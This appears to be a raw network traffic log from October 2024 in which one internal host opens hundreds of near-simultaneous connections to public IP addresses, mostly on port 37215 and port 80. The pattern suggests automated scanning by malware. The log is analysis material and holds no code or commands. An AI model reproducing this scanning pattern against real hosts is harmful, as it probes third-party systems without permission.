Oct 14, 2024 17:30:09.891098022 CEST	53786	37215	192.168.2.14	156.203.57.109
Oct 14, 2024 17:30:09.891114950 CEST	53786	37215	192.168.2.14	41.162.109.215
Oct 14, 2024 17:30:09.891134977 CEST	53786	37215	192.168.2.14	41.69.155.55
Oct 14, 2024 17:30:09.891156912 CEST	53786	37215	192.168.2.14	41.156.129.1
Oct 14, 2024 17:30:09.891166925 CEST	53786	37215	192.168.2.14	156.146.114.183
Oct 14, 2024 17:30:09.891177893 CEST	53786	37215	192.168.2.14	41.179.161.134
Oct 14, 2024 17:30:09.891177893 CEST	53786	37215	192.168.2.14	197.75.104.2
Oct 14, 2024 17:30:09.891185045 CEST	53786	37215	192.168.2.14	197.45.180.68
Oct 14, 2024 17:30:09.891199112 CEST	53786	37215	192.168.2.14	156.217.179.18
Oct 14, 2024 17:30:09.891206980 CEST	53786	37215	192.168.2.14	156.216.141.169
Oct 14, 2024 17:30:09.891206980 CEST	53786	37215	192.168.2.14	41.11.213.173
Oct 14, 2024 17:30:09.891216040 CEST	53786	37215	192.168.2.14	197.33.240.68
Oct 14, 2024 17:30:09.891221046 CEST	53786	37215	192.168.2.14	156.204.104.103
Oct 14, 2024 17:30:09.891253948 CEST	53786	37215	192.168.2.14	197.8.245.16
Oct 14, 2024 17:30:09.891272068 CEST	53786	37215	192.168.2.14	156.104.149.42
Oct 14, 2024 17:30:09.891273975 CEST	53786	37215	192.168.2.14	197.34.152.148
Oct 14, 2024 17:30:09.891274929 CEST	53786	37215	192.168.2.14	197.237.25.11
Oct 14, 2024 17:30:09.891293049 CEST	53786	37215	192.168.2.14	197.3.97.130
Oct 14, 2024 17:30:09.891294003 CEST	53786	37215	192.168.2.14	41.9.142.173
Oct 14, 2024 17:30:09.891304970 CEST	53786	37215	192.168.2.14	156.182.42.243
Oct 14, 2024 17:30:09.891309977 CEST	53786	37215	192.168.2.14	156.152.22.145
Oct 14, 2024 17:30:09.891324043 CEST	53786	37215	192.168.2.14	41.43.198.192
Oct 14, 2024 17:30:09.891333103 CEST	53786	37215	192.168.2.14	197.246.77.245
Oct 14, 2024 17:30:09.891351938 CEST	53786	37215	192.168.2.14	41.192.93.5
Oct 14, 2024 17:30:09.891354084 CEST	53786	37215	192.168.2.14	41.36.144.81
Oct 14, 2024 17:30:09.891365051 CEST	53786	37215	192.168.2.14	197.139.55.174
Oct 14, 2024 17:30:09.891381025 CEST	53786	37215	192.168.2.14	156.63.103.195
Oct 14, 2024 17:30:09.891388893 CEST	53786	37215	192.168.2.14	197.233.44.10
Oct 14, 2024 17:30:09.891397953 CEST	53786	37215	192.168.2.14	41.254.158.23
Oct 14, 2024 17:30:09.891401052 CEST	53786	37215	192.168.2.14	41.9.227.202
Oct 14, 2024 17:30:09.891402006 CEST	53786	37215	192.168.2.14	41.145.52.92
Oct 14, 2024 17:30:09.891421080 CEST	53786	37215	192.168.2.14	197.249.231.25
Oct 14, 2024 17:30:09.891426086 CEST	53786	37215	192.168.2.14	156.82.192.213
Oct 14, 2024 17:30:09.891433001 CEST	53786	37215	192.168.2.14	197.34.177.46
Oct 14, 2024 17:30:09.891443014 CEST	53786	37215	192.168.2.14	197.139.36.105
Oct 14, 2024 17:30:09.891450882 CEST	53786	37215	192.168.2.14	156.246.114.213
Oct 14, 2024 17:30:09.891472101 CEST	53786	37215	192.168.2.14	41.159.80.29
Oct 14, 2024 17:30:09.891529083 CEST	53014	37215	192.168.2.14	156.90.211.100
Oct 14, 2024 17:30:09.891551971 CEST	53786	37215	192.168.2.14	41.28.206.118
Oct 14, 2024 17:30:09.891551971 CEST	42818	37215	192.168.2.14	156.114.83.128
Oct 14, 2024 17:30:09.891601086 CEST	36868	37215	192.168.2.14	156.122.156.234
Oct 14, 2024 17:30:09.891629934 CEST	37022	37215	192.168.2.14	41.117.14.132
Oct 14, 2024 17:30:09.891639948 CEST	58600	37215	192.168.2.14	156.240.13.10
Oct 14, 2024 17:30:09.891655922 CEST	35978	37215	192.168.2.14	197.189.90.118
Oct 14, 2024 17:30:09.891671896 CEST	51248	37215	192.168.2.14	197.5.25.240
Oct 14, 2024 17:30:09.891700983 CEST	34568	37215	192.168.2.14	197.190.41.77
Oct 14, 2024 17:30:09.891711950 CEST	48358	37215	192.168.2.14	156.117.71.214
Oct 14, 2024 17:30:09.891753912 CEST	49414	37215	192.168.2.14	156.91.224.77
Oct 14, 2024 17:30:09.891768932 CEST	58446	37215	192.168.2.14	156.32.173.245
Oct 14, 2024 17:30:09.891781092 CEST	47410	37215	192.168.2.14	41.213.98.36
Oct 14, 2024 17:30:09.891789913 CEST	36342	37215	192.168.2.14	197.189.46.236
Oct 14, 2024 17:30:09.891807079 CEST	42782	37215	192.168.2.14	197.52.195.128
Oct 14, 2024 17:30:09.891834974 CEST	44942	37215	192.168.2.14	156.34.134.165
Oct 14, 2024 17:30:09.891848087 CEST	43412	37215	192.168.2.14	41.64.166.169
Oct 14, 2024 17:30:09.891870022 CEST	37608	37215	192.168.2.14	156.202.124.131
Oct 14, 2024 17:30:09.891875029 CEST	42730	37215	192.168.2.14	41.75.55.34
Oct 14, 2024 17:30:09.891882896 CEST	36774	37215	192.168.2.14	156.202.80.210
Oct 14, 2024 17:30:09.891904116 CEST	51726	37215	192.168.2.14	197.103.135.46
Oct 14, 2024 17:30:09.891907930 CEST	55726	37215	192.168.2.14	156.129.200.128
Oct 14, 2024 17:30:09.891935110 CEST	52978	37215	192.168.2.14	41.233.92.155
Oct 14, 2024 17:30:09.891941071 CEST	57208	37215	192.168.2.14	41.70.218.139
Oct 14, 2024 17:30:09.891956091 CEST	35778	37215	192.168.2.14	197.30.235.2
Oct 14, 2024 17:30:09.891990900 CEST	41880	37215	192.168.2.14	197.126.70.145
Oct 14, 2024 17:30:09.891999006 CEST	50464	37215	192.168.2.14	156.201.158.201
Oct 14, 2024 17:30:09.892035961 CEST	37526	37215	192.168.2.14	41.119.242.119
Oct 14, 2024 17:30:09.892060041 CEST	59740	37215	192.168.2.14	41.189.67.95
Oct 14, 2024 17:30:09.892060041 CEST	60734	37215	192.168.2.14	41.236.157.95
Oct 14, 2024 17:30:09.892082930 CEST	46910	37215	192.168.2.14	156.151.106.3
Oct 14, 2024 17:30:09.892102957 CEST	35480	37215	192.168.2.14	156.135.175.247
Oct 14, 2024 17:30:09.892107010 CEST	50900	37215	192.168.2.14	41.73.113.241
Oct 14, 2024 17:30:09.892124891 CEST	46628	37215	192.168.2.14	156.149.174.56
Oct 14, 2024 17:30:09.892153025 CEST	44126	37215	192.168.2.14	41.174.80.200
Oct 14, 2024 17:30:09.892163038 CEST	53928	37215	192.168.2.14	197.226.121.26
Oct 14, 2024 17:30:09.892179012 CEST	37876	37215	192.168.2.14	156.84.65.21
Oct 14, 2024 17:30:09.892203093 CEST	34984	37215	192.168.2.14	156.241.80.223
Oct 14, 2024 17:30:09.892220974 CEST	57690	37215	192.168.2.14	156.55.128.21
Oct 14, 2024 17:30:09.892251968 CEST	60664	37215	192.168.2.14	41.40.193.137
Oct 14, 2024 17:30:09.892266989 CEST	40826	37215	192.168.2.14	41.106.39.144
Oct 14, 2024 17:30:09.892266989 CEST	43156	37215	192.168.2.14	197.132.40.236
Oct 14, 2024 17:30:09.892282963 CEST	48954	37215	192.168.2.14	41.238.61.71
Oct 14, 2024 17:30:09.892302036 CEST	43362	37215	192.168.2.14	156.108.144.197
Oct 14, 2024 17:30:09.892314911 CEST	45714	37215	192.168.2.14	41.79.10.6
Oct 14, 2024 17:30:09.892333031 CEST	48210	37215	192.168.2.14	156.169.77.107
Oct 14, 2024 17:30:09.892371893 CEST	41496	37215	192.168.2.14	156.175.171.88
Oct 14, 2024 17:30:09.892383099 CEST	56636	37215	192.168.2.14	156.231.40.248
Oct 14, 2024 17:30:09.892393112 CEST	50784	37215	192.168.2.14	197.162.84.121
Oct 14, 2024 17:30:09.892416000 CEST	46574	37215	192.168.2.14	41.163.10.229
Oct 14, 2024 17:30:09.892426968 CEST	57824	37215	192.168.2.14	197.224.116.214
Oct 14, 2024 17:30:09.892472982 CEST	37212	37215	192.168.2.14	156.48.222.4
Oct 14, 2024 17:30:09.892493010 CEST	45742	37215	192.168.2.14	156.153.101.136
Oct 14, 2024 17:30:09.892513037 CEST	55782	37215	192.168.2.14	41.253.185.240
Oct 14, 2024 17:30:09.892513037 CEST	57944	37215	192.168.2.14	197.214.131.199
Oct 14, 2024 17:30:09.892537117 CEST	35382	37215	192.168.2.14	41.97.238.30
Oct 14, 2024 17:30:09.892551899 CEST	36142	37215	192.168.2.14	156.175.236.242
Oct 14, 2024 17:30:09.892568111 CEST	46804	37215	192.168.2.14	41.139.197.5
Oct 14, 2024 17:30:09.892586946 CEST	46868	37215	192.168.2.14	156.19.164.3
Oct 14, 2024 17:30:09.892605066 CEST	32890	37215	192.168.2.14	156.117.192.62
Oct 14, 2024 17:30:09.892642021 CEST	49590	37215	192.168.2.14	156.33.186.173
Oct 14, 2024 17:30:09.892642021 CEST	49684	37215	192.168.2.14	41.83.55.142
Oct 14, 2024 17:30:09.892678976 CEST	47784	37215	192.168.2.14	41.103.67.243
Oct 14, 2024 17:30:09.892698050 CEST	56320	37215	192.168.2.14	197.211.16.128
Oct 14, 2024 17:30:09.892714024 CEST	54166	37215	192.168.2.14	197.234.255.3
Oct 14, 2024 17:30:09.892757893 CEST	44086	37215	192.168.2.14	41.204.217.222
Oct 14, 2024 17:30:09.892777920 CEST	60246	37215	192.168.2.14	41.215.121.196
Oct 14, 2024 17:30:09.892791986 CEST	56236	37215	192.168.2.14	41.223.254.170
Oct 14, 2024 17:30:09.892813921 CEST	39256	37215	192.168.2.14	197.164.97.255
Oct 14, 2024 17:30:09.892813921 CEST	42466	37215	192.168.2.14	41.237.47.152
Oct 14, 2024 17:30:09.892826080 CEST	48840	37215	192.168.2.14	156.51.214.134
Oct 14, 2024 17:30:09.892851114 CEST	51884	37215	192.168.2.14	197.242.208.137
Oct 14, 2024 17:30:09.892862082 CEST	40680	37215	192.168.2.14	156.4.248.202
Oct 14, 2024 17:30:09.892877102 CEST	42450	37215	192.168.2.14	41.159.66.169
Oct 14, 2024 17:30:09.892903090 CEST	34958	37215	192.168.2.14	41.135.17.197
Oct 14, 2024 17:30:09.892910957 CEST	49488	37215	192.168.2.14	41.186.147.81
Oct 14, 2024 17:30:09.892910957 CEST	52674	37215	192.168.2.14	41.157.12.18
Oct 14, 2024 17:30:09.892966032 CEST	36504	37215	192.168.2.14	156.132.78.11
Oct 14, 2024 17:30:09.892966032 CEST	33822	37215	192.168.2.14	156.9.42.155
Oct 14, 2024 17:30:09.892982006 CEST	50470	37215	192.168.2.14	197.26.64.231
Oct 14, 2024 17:30:09.893007994 CEST	58380	37215	192.168.2.14	156.202.129.171
Oct 14, 2024 17:30:09.893048048 CEST	40792	37215	192.168.2.14	156.255.205.15
Oct 14, 2024 17:30:09.893069029 CEST	53166	37215	192.168.2.14	41.163.91.94
Oct 14, 2024 17:30:09.893084049 CEST	39688	37215	192.168.2.14	156.106.72.108
Oct 14, 2024 17:30:09.893084049 CEST	55114	37215	192.168.2.14	41.121.241.179
Oct 14, 2024 17:30:09.893110037 CEST	34536	37215	192.168.2.14	156.86.204.82
Oct 14, 2024 17:30:09.893152952 CEST	53274	80	192.168.2.14	52.176.200.124
Oct 14, 2024 17:30:09.893160105 CEST	53492	37215	192.168.2.14	156.84.64.14
Oct 14, 2024 17:30:09.893160105 CEST	53274	80	192.168.2.14	69.167.138.236
Oct 14, 2024 17:30:09.893184900 CEST	53274	80	192.168.2.14	66.82.207.173
Oct 14, 2024 17:30:09.893184900 CEST	53274	80	192.168.2.14	74.132.191.175
Oct 14, 2024 17:30:09.893197060 CEST	53274	80	192.168.2.14	122.118.21.95
Oct 14, 2024 17:30:09.893208981 CEST	53274	80	192.168.2.14	88.107.178.62
Oct 14, 2024 17:30:09.893219948 CEST	53274	80	192.168.2.14	205.87.116.30
Oct 14, 2024 17:30:09.893244982 CEST	53274	80	192.168.2.14	204.21.84.48
Oct 14, 2024 17:30:09.893248081 CEST	53274	80	192.168.2.14	161.101.186.63
Oct 14, 2024 17:30:09.893258095 CEST	53274	80	192.168.2.14	53.33.112.71
Oct 14, 2024 17:30:09.893266916 CEST	53274	80	192.168.2.14	67.246.127.29
Oct 14, 2024 17:30:09.893285990 CEST	53274	80	192.168.2.14	164.209.229.67
Oct 14, 2024 17:30:09.893296003 CEST	53274	80	192.168.2.14	53.27.216.214
Oct 14, 2024 17:30:09.893296957 CEST	53274	80	192.168.2.14	43.161.144.101
Oct 14, 2024 17:30:09.893313885 CEST	53274	80	192.168.2.14	156.98.93.82
Oct 14, 2024 17:30:09.893321037 CEST	53274	80	192.168.2.14	210.222.226.97
Oct 14, 2024 17:30:09.893326044 CEST	53274	80	192.168.2.14	195.59.135.229
Oct 14, 2024 17:30:09.893348932 CEST	53274	80	192.168.2.14	64.168.216.78
Oct 14, 2024 17:30:09.893356085 CEST	53274	80	192.168.2.14	157.183.225.151
Oct 14, 2024 17:30:09.893362999 CEST	53274	80	192.168.2.14	139.72.5.2
Oct 14, 2024 17:30:09.893372059 CEST	53274	80	192.168.2.14	71.139.63.113
Oct 14, 2024 17:30:09.893378019 CEST	53274	80	192.168.2.14	146.191.206.140
Oct 14, 2024 17:30:09.893378019 CEST	53274	80	192.168.2.14	144.90.130.193
Oct 14, 2024 17:30:09.893403053 CEST	53274	80	192.168.2.14	52.146.26.99
Oct 14, 2024 17:30:09.893405914 CEST	53274	80	192.168.2.14	211.244.116.1
Oct 14, 2024 17:30:09.893419027 CEST	53274	80	192.168.2.14	54.117.176.147
Oct 14, 2024 17:30:09.893419027 CEST	53274	80	192.168.2.14	58.224.34.219
Oct 14, 2024 17:30:09.893430948 CEST	53274	80	192.168.2.14	37.43.22.119
Oct 14, 2024 17:30:09.893452883 CEST	53274	80	192.168.2.14	146.16.225.168
Oct 14, 2024 17:30:09.893455029 CEST	53274	80	192.168.2.14	217.218.54.246
Oct 14, 2024 17:30:09.893471003 CEST	53274	80	192.168.2.14	144.17.126.143
Oct 14, 2024 17:30:09.893485069 CEST	53274	80	192.168.2.14	153.140.145.66
Oct 14, 2024 17:30:09.893485069 CEST	53274	80	192.168.2.14	141.79.226.228
Oct 14, 2024 17:30:09.893491983 CEST	53274	80	192.168.2.14	57.195.147.21
Oct 14, 2024 17:30:09.893505096 CEST	53274	80	192.168.2.14	2.126.167.51
Oct 14, 2024 17:30:09.893542051 CEST	53274	80	192.168.2.14	62.247.91.90
Oct 14, 2024 17:30:09.893543959 CEST	53274	80	192.168.2.14	117.124.93.112
Oct 14, 2024 17:30:09.893548965 CEST	53274	80	192.168.2.14	118.79.30.191
Oct 14, 2024 17:30:09.893549919 CEST	53274	80	192.168.2.14	44.248.127.68
Oct 14, 2024 17:30:09.893549919 CEST	53274	80	192.168.2.14	71.114.119.45
Oct 14, 2024 17:30:09.893560886 CEST	53274	80	192.168.2.14	159.74.185.151
Oct 14, 2024 17:30:09.893569946 CEST	53274	80	192.168.2.14	70.136.80.115
Oct 14, 2024 17:30:09.893573046 CEST	53274	80	192.168.2.14	178.140.164.127
Oct 14, 2024 17:30:09.893603086 CEST	53274	80	192.168.2.14	46.174.180.210
Oct 14, 2024 17:30:09.893603086 CEST	53274	80	192.168.2.14	80.143.46.161
Oct 14, 2024 17:30:09.893608093 CEST	53274	80	192.168.2.14	181.3.99.123
Oct 14, 2024 17:30:09.893627882 CEST	53274	80	192.168.2.14	95.135.99.246
Oct 14, 2024 17:30:09.893640041 CEST	53274	80	192.168.2.14	148.167.241.36
Oct 14, 2024 17:30:09.893663883 CEST	53274	80	192.168.2.14	219.50.148.253
Oct 14, 2024 17:30:09.893666029 CEST	53274	80	192.168.2.14	64.86.54.127
Oct 14, 2024 17:30:09.893666029 CEST	53274	80	192.168.2.14	157.19.104.114
Oct 14, 2024 17:30:09.893678904 CEST	53274	80	192.168.2.14	202.93.2.241
Oct 14, 2024 17:30:09.893692017 CEST	53274	80	192.168.2.14	104.245.214.0
Oct 14, 2024 17:30:09.893713951 CEST	53274	80	192.168.2.14	45.131.151.53
Oct 14, 2024 17:30:09.893713951 CEST	53274	80	192.168.2.14	120.211.66.169
Oct 14, 2024 17:30:09.893718958 CEST	53274	80	192.168.2.14	72.177.228.212
Oct 14, 2024 17:30:09.893748999 CEST	53274	80	192.168.2.14	183.235.8.14
Oct 14, 2024 17:30:09.893748999 CEST	53274	80	192.168.2.14	186.165.223.135
Oct 14, 2024 17:30:09.893757105 CEST	53274	80	192.168.2.14	176.89.195.53
Oct 14, 2024 17:30:09.893759966 CEST	53274	80	192.168.2.14	42.90.218.56
Oct 14, 2024 17:30:09.893780947 CEST	53274	80	192.168.2.14	89.172.15.69
Oct 14, 2024 17:30:09.893786907 CEST	53274	80	192.168.2.14	111.79.26.56
Oct 14, 2024 17:30:09.893805981 CEST	53274	80	192.168.2.14	141.176.164.108
Oct 14, 2024 17:30:09.893814087 CEST	53274	80	192.168.2.14	221.99.207.171
Oct 14, 2024 17:30:09.893814087 CEST	53274	80	192.168.2.14	160.235.202.80
Oct 14, 2024 17:30:09.893830061 CEST	53274	80	192.168.2.14	191.28.200.166
Oct 14, 2024 17:30:09.893841028 CEST	53274	80	192.168.2.14	48.197.211.220
Oct 14, 2024 17:30:09.893853903 CEST	53274	80	192.168.2.14	209.97.40.65
Oct 14, 2024 17:30:09.893877029 CEST	53274	80	192.168.2.14	198.55.11.97
Oct 14, 2024 17:30:09.893882036 CEST	53274	80	192.168.2.14	211.227.149.217
Oct 14, 2024 17:30:09.893889904 CEST	53274	80	192.168.2.14	158.55.114.94
Oct 14, 2024 17:30:09.893908978 CEST	53274	80	192.168.2.14	63.31.208.122
Oct 14, 2024 17:30:09.893909931 CEST	53274	80	192.168.2.14	42.63.248.47
Oct 14, 2024 17:30:09.893917084 CEST	53274	80	192.168.2.14	170.85.121.113
Oct 14, 2024 17:30:09.893923998 CEST	53274	80	192.168.2.14	163.116.244.21
Oct 14, 2024 17:30:09.893951893 CEST	53274	80	192.168.2.14	181.15.174.23
Oct 14, 2024 17:30:09.893965006 CEST	53274	80	192.168.2.14	79.174.159.5
Oct 14, 2024 17:30:09.893970966 CEST	53274	80	192.168.2.14	123.170.133.232
Oct 14, 2024 17:30:09.893999100 CEST	53274	80	192.168.2.14	100.244.244.197
Oct 14, 2024 17:30:09.893999100 CEST	53274	80	192.168.2.14	42.2.254.13
Oct 14, 2024 17:30:09.894001961 CEST	53274	80	192.168.2.14	14.182.99.128
Oct 14, 2024 17:30:09.894002914 CEST	53274	80	192.168.2.14	129.219.75.51
Oct 14, 2024 17:30:09.894012928 CEST	53274	80	192.168.2.14	169.16.194.244
Oct 14, 2024 17:30:09.894020081 CEST	53274	80	192.168.2.14	46.12.117.58
Oct 14, 2024 17:30:09.894032001 CEST	53274	80	192.168.2.14	71.65.237.82
Oct 14, 2024 17:30:09.894037008 CEST	53274	80	192.168.2.14	4.157.221.237
Oct 14, 2024 17:30:09.894054890 CEST	53274	80	192.168.2.14	168.242.166.56
Oct 14, 2024 17:30:09.894076109 CEST	53274	80	192.168.2.14	134.15.168.236
Oct 14, 2024 17:30:09.894103050 CEST	53274	80	192.168.2.14	152.217.241.252
Oct 14, 2024 17:30:09.894103050 CEST	53274	80	192.168.2.14	218.62.175.95
Oct 14, 2024 17:30:09.894118071 CEST	53274	80	192.168.2.14	166.78.239.176
Oct 14, 2024 17:30:09.894129992 CEST	53274	80	192.168.2.14	88.168.176.87
Oct 14, 2024 17:30:09.894133091 CEST	53274	80	192.168.2.14	223.48.147.185
Oct 14, 2024 17:30:09.894141912 CEST	53274	80	192.168.2.14	104.12.120.102
Oct 14, 2024 17:30:09.894146919 CEST	53274	80	192.168.2.14	162.31.227.60
Oct 14, 2024 17:30:09.894146919 CEST	53274	80	192.168.2.14	43.35.222.43
Oct 14, 2024 17:30:09.894169092 CEST	53274	80	192.168.2.14	175.108.21.115
Oct 14, 2024 17:30:09.894191027 CEST	53274	80	192.168.2.14	85.122.94.63
Oct 14, 2024 17:30:09.894201040 CEST	53274	80	192.168.2.14	98.155.84.134
Oct 14, 2024 17:30:09.894205093 CEST	53274	80	192.168.2.14	121.51.250.152
Oct 14, 2024 17:30:09.894206047 CEST	53274	80	192.168.2.14	108.166.203.17
Oct 14, 2024 17:30:09.894206047 CEST	53274	80	192.168.2.14	150.68.136.156
Oct 14, 2024 17:30:09.894210100 CEST	53274	80	192.168.2.14	197.152.203.165
Oct 14, 2024 17:30:09.894229889 CEST	53274	80	192.168.2.14	163.220.93.101
Oct 14, 2024 17:30:09.894229889 CEST	53274	80	192.168.2.14	71.254.92.241
Oct 14, 2024 17:30:09.894243956 CEST	53274	80	192.168.2.14	148.225.181.105
Oct 14, 2024 17:30:09.894253016 CEST	53274	80	192.168.2.14	13.192.132.121
Oct 14, 2024 17:30:09.894263983 CEST	53274	80	192.168.2.14	90.201.120.111
Oct 14, 2024 17:30:09.894267082 CEST	53274	80	192.168.2.14	39.87.156.35
Oct 14, 2024 17:30:09.894283056 CEST	53274	80	192.168.2.14	143.38.29.86
Oct 14, 2024 17:30:09.894303083 CEST	53274	80	192.168.2.14	110.15.21.208
Oct 14, 2024 17:30:09.894303083 CEST	53274	80	192.168.2.14	179.197.215.51
Oct 14, 2024 17:30:09.894316912 CEST	53274	80	192.168.2.14	110.200.31.67
Oct 14, 2024 17:30:09.894328117 CEST	53274	80	192.168.2.14	162.210.183.79
Oct 14, 2024 17:30:09.894345999 CEST	53274	80	192.168.2.14	204.248.47.5
Oct 14, 2024 17:30:09.894365072 CEST	53274	80	192.168.2.14	117.45.215.107
Oct 14, 2024 17:30:09.894365072 CEST	53274	80	192.168.2.14	103.40.157.148
Oct 14, 2024 17:30:09.894376993 CEST	53274	80	192.168.2.14	18.41.197.28
Oct 14, 2024 17:30:09.894390106 CEST	53274	80	192.168.2.14	97.114.96.183
Oct 14, 2024 17:30:09.894390106 CEST	53274	80	192.168.2.14	213.9.211.253
Oct 14, 2024 17:30:09.894390106 CEST	53274	80	192.168.2.14	54.124.31.94
Oct 14, 2024 17:30:09.894402027 CEST	53274	80	192.168.2.14	128.58.44.61
Oct 14, 2024 17:30:09.894433022 CEST	53274	80	192.168.2.14	165.135.174.201
Oct 14, 2024 17:30:09.894433022 CEST	53274	80	192.168.2.14	132.156.73.109
Oct 14, 2024 17:30:09.894459963 CEST	53274	80	192.168.2.14	212.76.111.107
Oct 14, 2024 17:30:09.894474030 CEST	53274	80	192.168.2.14	159.103.215.247
Oct 14, 2024 17:30:09.894479036 CEST	53274	80	192.168.2.14	193.59.149.17
Oct 14, 2024 17:30:09.894479036 CEST	53274	80	192.168.2.14	177.64.166.109
Oct 14, 2024 17:30:09.894494057 CEST	53274	80	192.168.2.14	71.17.96.137
Oct 14, 2024 17:30:09.894495964 CEST	53274	80	192.168.2.14	65.48.43.76
Oct 14, 2024 17:30:09.894519091 CEST	53274	80	192.168.2.14	203.145.150.135
Oct 14, 2024 17:30:09.894525051 CEST	53274	80	192.168.2.14	143.65.158.59
Oct 14, 2024 17:30:09.894525051 CEST	53274	80	192.168.2.14	103.13.203.16
Oct 14, 2024 17:30:09.894536018 CEST	53274	80	192.168.2.14	119.211.159.225
Oct 14, 2024 17:30:09.894560099 CEST	53274	80	192.168.2.14	110.252.83.135
Oct 14, 2024 17:30:09.894573927 CEST	53274	80	192.168.2.14	82.245.155.80
Oct 14, 2024 17:30:09.894573927 CEST	53274	80	192.168.2.14	158.173.69.211
Oct 14, 2024 17:30:09.894586086 CEST	53274	80	192.168.2.14	122.219.99.79
Oct 14, 2024 17:30:09.894601107 CEST	53274	80	192.168.2.14	193.230.49.171
Oct 14, 2024 17:30:09.894610882 CEST	53274	80	192.168.2.14	75.151.45.238
Oct 14, 2024 17:30:09.894618034 CEST	53274	80	192.168.2.14	72.16.147.214
Oct 14, 2024 17:30:09.894618034 CEST	53274	80	192.168.2.14	139.228.185.242
Oct 14, 2024 17:30:09.894623995 CEST	53274	80	192.168.2.14	178.240.250.70
Oct 14, 2024 17:30:09.894634008 CEST	53274	80	192.168.2.14	153.95.125.125
Oct 14, 2024 17:30:09.894653082 CEST	53274	80	192.168.2.14	50.213.64.85
Oct 14, 2024 17:30:09.894654036 CEST	53274	80	192.168.2.14	47.96.149.105
Oct 14, 2024 17:30:09.894658089 CEST	53274	80	192.168.2.14	2.161.137.109
Oct 14, 2024 17:30:09.894674063 CEST	53274	80	192.168.2.14	207.52.91.41
Oct 14, 2024 17:30:09.894691944 CEST	53274	80	192.168.2.14	168.28.157.4
Oct 14, 2024 17:30:09.894728899 CEST	53274	80	192.168.2.14	196.250.185.45
Oct 14, 2024 17:30:09.894738913 CEST	53274	80	192.168.2.14	78.209.100.32
Oct 14, 2024 17:30:09.894745111 CEST	53274	80	192.168.2.14	180.250.101.179
Oct 14, 2024 17:30:09.894759893 CEST	53274	80	192.168.2.14	150.129.1.197
Oct 14, 2024 17:30:09.894759893 CEST	53274	80	192.168.2.14	54.48.172.113
Oct 14, 2024 17:30:09.894761086 CEST	53274	80	192.168.2.14	200.225.87.254
Oct 14, 2024 17:30:09.894766092 CEST	53274	80	192.168.2.14	167.245.215.222
Oct 14, 2024 17:30:09.894784927 CEST	53274	80	192.168.2.14	61.36.48.67
Oct 14, 2024 17:30:09.894797087 CEST	53274	80	192.168.2.14	222.101.216.41
Oct 14, 2024 17:30:09.894804001 CEST	43346	37215	192.168.2.14	197.191.40.105
Oct 14, 2024 17:30:09.894826889 CEST	53274	80	192.168.2.14	114.68.99.119
Oct 14, 2024 17:30:09.894826889 CEST	53274	80	192.168.2.14	190.22.203.233
Oct 14, 2024 17:30:09.894829035 CEST	53274	80	192.168.2.14	147.127.207.250
Oct 14, 2024 17:30:09.894840956 CEST	56622	37215	192.168.2.14	197.81.193.4
Oct 14, 2024 17:30:09.894840956 CEST	53274	80	192.168.2.14	125.12.126.31
Oct 14, 2024 17:30:09.894840956 CEST	44918	37215	192.168.2.14	41.181.174.89
Oct 14, 2024 17:30:09.894850016 CEST	53274	80	192.168.2.14	197.81.112.46
Oct 14, 2024 17:30:09.894869089 CEST	53274	80	192.168.2.14	183.3.183.244
Oct 14, 2024 17:30:09.894874096 CEST	53274	80	192.168.2.14	144.216.39.140
Oct 14, 2024 17:30:09.894885063 CEST	53274	80	192.168.2.14	158.11.51.89
Oct 14, 2024 17:30:09.894891977 CEST	53274	80	192.168.2.14	168.154.136.151
Oct 14, 2024 17:30:09.894902945 CEST	41612	37215	192.168.2.14	41.82.44.220
Oct 14, 2024 17:30:09.894912958 CEST	53274	80	192.168.2.14	103.66.211.238
Oct 14, 2024 17:30:09.894917965 CEST	35198	37215	192.168.2.14	41.186.23.230
Oct 14, 2024 17:30:09.894918919 CEST	53274	80	192.168.2.14	204.189.18.44
Oct 14, 2024 17:30:09.894932032 CEST	53274	80	192.168.2.14	202.110.232.57
Oct 14, 2024 17:30:09.894932032 CEST	53274	80	192.168.2.14	46.103.61.139
Oct 14, 2024 17:30:09.894941092 CEST	43608	37215	192.168.2.14	197.196.113.15
Oct 14, 2024 17:30:09.894941092 CEST	53274	80	192.168.2.14	167.152.50.41
Oct 14, 2024 17:30:09.894949913 CEST	50980	37215	192.168.2.14	156.7.30.134
Oct 14, 2024 17:30:09.894949913 CEST	53274	80	192.168.2.14	171.208.120.248
Oct 14, 2024 17:30:09.894967079 CEST	53274	80	192.168.2.14	223.195.53.104
Oct 14, 2024 17:30:09.894977093 CEST	53274	80	192.168.2.14	179.148.97.168
Oct 14, 2024 17:30:09.894977093 CEST	44206	37215	192.168.2.14	197.40.153.124
Oct 14, 2024 17:30:09.894979954 CEST	56458	37215	192.168.2.14	156.121.120.45
Oct 14, 2024 17:30:09.894979954 CEST	53274	80	192.168.2.14	92.250.68.76
Oct 14, 2024 17:30:09.894982100 CEST	53274	80	192.168.2.14	170.70.53.1
Oct 14, 2024 17:30:09.894984961 CEST	53274	80	192.168.2.14	13.99.245.73
Oct 14, 2024 17:30:09.895003080 CEST	53274	80	192.168.2.14	115.25.185.54
Oct 14, 2024 17:30:09.895008087 CEST	53274	80	192.168.2.14	44.122.3.64
Oct 14, 2024 17:30:09.895008087 CEST	46568	37215	192.168.2.14	156.30.1.246
Oct 14, 2024 17:30:09.895030975 CEST	36258	37215	192.168.2.14	41.11.179.231
Oct 14, 2024 17:30:09.895035982 CEST	53274	80	192.168.2.14	208.175.35.155
Oct 14, 2024 17:30:09.895035982 CEST	53274	80	192.168.2.14	104.36.160.143
Oct 14, 2024 17:30:09.895041943 CEST	53274	80	192.168.2.14	145.252.242.184
Oct 14, 2024 17:30:09.895046949 CEST	53274	80	192.168.2.14	100.194.30.30
Oct 14, 2024 17:30:09.895061970 CEST	53274	80	192.168.2.14	112.132.240.3
Oct 14, 2024 17:30:09.895076990 CEST	53274	80	192.168.2.14	132.168.247.231
Oct 14, 2024 17:30:09.895085096 CEST	53274	80	192.168.2.14	174.0.66.32
Oct 14, 2024 17:30:09.895100117 CEST	53274	80	192.168.2.14	178.176.170.141
Oct 14, 2024 17:30:09.895101070 CEST	53274	80	192.168.2.14	207.165.180.226
Oct 14, 2024 17:30:09.895121098 CEST	53274	80	192.168.2.14	116.137.195.172
Oct 14, 2024 17:30:09.895133972 CEST	53274	80	192.168.2.14	102.240.210.134
Oct 14, 2024 17:30:09.895133972 CEST	53274	80	192.168.2.14	89.243.102.86
Oct 14, 2024 17:30:09.895144939 CEST	53274	80	192.168.2.14	68.209.252.112
Oct 14, 2024 17:30:09.895150900 CEST	53274	80	192.168.2.14	95.3.200.156
Oct 14, 2024 17:30:09.895163059 CEST	53274	80	192.168.2.14	178.194.137.116
